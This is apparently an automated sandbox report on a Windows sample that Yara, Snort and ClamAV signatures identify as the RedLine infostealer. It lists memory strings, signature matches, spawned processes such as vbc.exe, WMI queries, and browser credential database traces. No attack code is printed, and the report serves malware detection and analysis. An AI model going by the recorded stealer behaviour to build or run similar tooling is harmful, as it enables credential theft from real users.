Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4pe
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, file.exe, 00000000.00000003.263012533.00000000010B2000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmp, vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vbc.exe, 00000002.00000002.362689753.0000000007D26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358855894.0000000006CF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357196581.0000000006B53000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362080107.0000000007C8B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361557498.0000000007BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361472237.0000000007BB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362548163.0000000007D09000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364377850.0000000007EC8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364566369.0000000007EE5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363666444.0000000007E21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358245791.0000000006C64000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362239438.0000000007CA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363083426.0000000007D87000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: vbc.exe, 00000002.00000002.362689753.0000000007D26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358855894.0000000006CF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357196581.0000000006B53000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362080107.0000000007C8B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361557498.0000000007BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361472237.0000000007BB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362548163.0000000007D09000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364377850.0000000007EC8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364566369.0000000007EE5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363666444.0000000007E21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358245791.0000000006C64000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362239438.0000000007CA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363083426.0000000007D87000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: vbc.exe, 00000002.00000002.362689753.0000000007D26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358855894.0000000006CF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357196581.0000000006B53000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362080107.0000000007C8B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361557498.0000000007BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361472237.0000000007BB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362548163.0000000007D09000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364377850.0000000007EC8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364566369.0000000007EE5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363666444.0000000007E21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358245791.0000000006C64000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362239438.0000000007CA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363083426.0000000007D87000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: vbc.exe, 00000002.00000002.362689753.0000000007D26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361557498.0000000007BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364566369.0000000007EE5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363666444.0000000007E21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362239438.0000000007CA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: vbc.exe, 00000002.00000002.362689753.0000000007D26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358855894.0000000006CF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357196581.0000000006B53000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362080107.0000000007C8B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361557498.0000000007BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361472237.0000000007BB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362548163.0000000007D09000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364377850.0000000007EC8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364566369.0000000007EE5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363666444.0000000007E21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358245791.0000000006C64000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362239438.0000000007CA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363083426.0000000007D87000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: vbc.exe, 00000002.00000002.362689753.0000000007D26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358855894.0000000006CF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357196581.0000000006B53000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362080107.0000000007C8B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361557498.0000000007BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361472237.0000000007BB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362548163.0000000007D09000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364377850.0000000007EC8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364566369.0000000007EE5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363666444.0000000007E21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358245791.0000000006C64000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362239438.0000000007CA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363083426.0000000007D87000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.3.file.exe.10b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.file.exe.4a17a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.file.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: 0.3.file.exe.10b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.file.exe.4a17a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.file.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FC030	0_2_003FC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042A07E	0_2_0042A07E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004004F0	0_2_004004F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004287BE	0_2_004287BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004388C0	0_2_004388C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004369C0	0_2_004369C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00416B10	0_2_00416B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00420CA0	0_2_00420CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042EDD0	0_2_0042EDD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00434F9E	0_2_00434F9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FF1C0	0_2_003FF1C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_04EA0907	2_2_04EA0907
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_04EAF6D0	2_2_04EAF6D0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 004997B0 appears 58 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00493530 appears 41 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 004857D0 appears 175 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00497BA0 appears 48 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0044F620 appears 143 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 004996C0 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00497A60 appears 42 times

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.263038196.00000000010D4000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameZambuks.exe4 vs file.exe
Source: file.exe, 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameZambuks.exe4 vs file.exe

Source: file.exe

Static PE information: Number of sections : 17 > 10

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/1@0/1

Source: vbc.exe, 00000002.00000002.361829863.0000000007C26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361576683.0000000007BD5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

